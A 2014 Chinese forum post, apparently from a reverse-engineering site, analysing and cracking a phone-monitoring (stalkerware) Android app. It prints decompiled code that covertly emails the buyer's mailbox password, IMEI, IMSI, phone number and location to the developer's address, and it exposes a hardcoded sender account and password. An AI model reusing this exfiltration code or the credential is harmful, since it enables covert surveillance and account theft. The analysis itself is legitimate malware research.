-
-
[原创]某通信监控软件爆破分析
-
发表于: 2014-12-17 02:26
-
注：本APP会有杀软报毒，不过其本身就类似木马，介意的朋友请慎下。
使用用具：APKIDE（改之理）
IDA Pro
Arm汇编转换器
UltraEdit
先运行软件，出来启动界面后居然退出了，我用的2.2版本Android SDK模拟器，是不是版本问题？换了4.x的，现象依然一样，第一反应是APP检测了模拟器环境。
那么就反编译出来看看吧。将软件apk用APKIDE反编译，看起来很顺利，分析AndroidManifest.xml，找到主Activity为com.vipios.activity.MainActivity，找到相应目录下的MainActivity.smali，打开，很长很不直观啊，看看Java代码吧，打开Java源码的菜单居然灰色不可选，看着反编译出来的类名和smali内容很工整啊，没有混淆过，不甘心啊。
是什么问题呢？dex中有什么猫腻呢？IDA Pro是时候该出场了。将apk拖入IDA，选择classes.dex进行分析。既然是来找问题的，分析完直接Ctrl-Q查看问题代码，看到吗，不少哦！
点击第一处CODE，看到的代码不知所云，Source file也没解析出来：
这部分代码所属public java.lang.String android.a.a()对应smali\android\a.smali文件，在APKIDE中打开，看到source "\nSDK\u7248\u672c:"，这个明显是为了干扰反编译程序植入的垃圾代码，直接删除a.smali。
余下的问题代码同样处理，删除完垃圾smali后，在APKIDE中编译通过，然后再反编译刚才编译出来的apk，打开Java源码的菜单可选了，打开看看，很漂亮的代码，Bingo！（注：这个apk不能运行，后面的修改都是建立在原包的基础上的）
来到MainActivity看看，onStart中调用的isMoni()这个函数从名字到长相都很可疑，看看代码：
1 2 3 4 5 | private boolean isMoni(){ String str = ((TelephonyManager)getSystemService("phone")).getDeviceId(); return (str != null) && (str.trim().length() != 0) && (!str.matches("0+"));} |
1 2 3 4 5 | if (!OtherOperatorService.check3Gwifi(getApplicationContext())){ Toast.makeText(getApplicationContext(), "先开启手机网络,以便测试邮箱是否可用", 1).show(); return;} |
1 2 3 | invoke-static {v3}, Lcom/vipios/service/OtherOperatorService;->check3Gwifi(Landroid/content/Context;)Zmove-result v3if-nez v3, :cond_3 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | Thread localThread = new Thread(new Runnable(){ public void run() { String str1 = MainActivity.this.smtpTemp; String str2 = MainActivity.this.portTemp; String str3 = MainActivity.this.userEmailTemp; String str4 = MainActivity.this.userPasswordTemp; String str5 = MainActivity.this.userEmailTemp; String[] arrayOfString = new String[1]; arrayOfString[0] = MainActivity.this.userEmailTemp; MailSenderInfo localMailSenderInfo = new MailSenderInfo(str1, str2, str3, str4, true, str5, arrayOfString, MainActivity.this.subject, MainActivity.this.content); if (new SimpleMailSender().sendHtmlMail(localMailSenderInfo)) { MainActivity.testok = 1; MainActivity.this.userSave(); return; } MainActivity.testok = 2; }});localThread.start();try{ localThread.join(); if (testok == 1) { Toast.makeText(getApplicationContext(), "恭喜你，保存成功", 1).show(); setUserEditedStates(false); this.subject = (this.userEmailTemp + "-" + this.shoujiImei + "正在测试" + OtherOperatorService.getVersionName(this) + "版(" + getPackageName() + "-" + "" + "-" + "finspy_vip@163.com" + ")"); this.content = ("设定邮箱：" + this.userEmailTemp + "(" + this.userPasswordTemp + ")绑定号码：" + this.userPhoneNumberTemp + ";设置功能：" + this.tonghuajiluTemp + "," + this.duanxinjiluTemp + "," + this.tonghualuyinTemp + "," + this.weizhijiluTemp + "," + this.qqjiluTemp + "," + this.weixinjiluTemp + ";发送设置：" + this.allnetTemp + "," + this.wifiTemp + "；SDK版本:" + Build.VERSION.SDK_INT + "；" + "Model型号:" + Build.MODEL + "；Android版本：" + Build.VERSION.RELEASE + "<br/>当前卡号及编码" + this.NativePhoneNumber + "," + this.IMSI + "(" + OtherOperatorService.getCardName(this.IMSI) + ")" + LocationEmailInfo.getBaiduMaplink()); OtherOperatorService.uploadEmail(OtherOperatorService.getUserSmtp("tyling7775@yeah.net"), OtherOperatorService.getUserPort("tyling7775@yeah.net"), "tyling7775@yeah.net", "tyling132014", "tyling7775@yeah.net", new String[] { "finspy_vip@163.com" }, this.subject, this.content); testok = 0; return; }}catch (InterruptedException localInterruptedException){ do { for (;;) { testok = 2; } } while (testok != 2); Toast.makeText(getApplicationContext(), "开启你邮箱SMTP服务(查看帮助)，或邮箱或密码输入错误；或更换邮箱重试！", 1).show(); testok = 0;} |
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
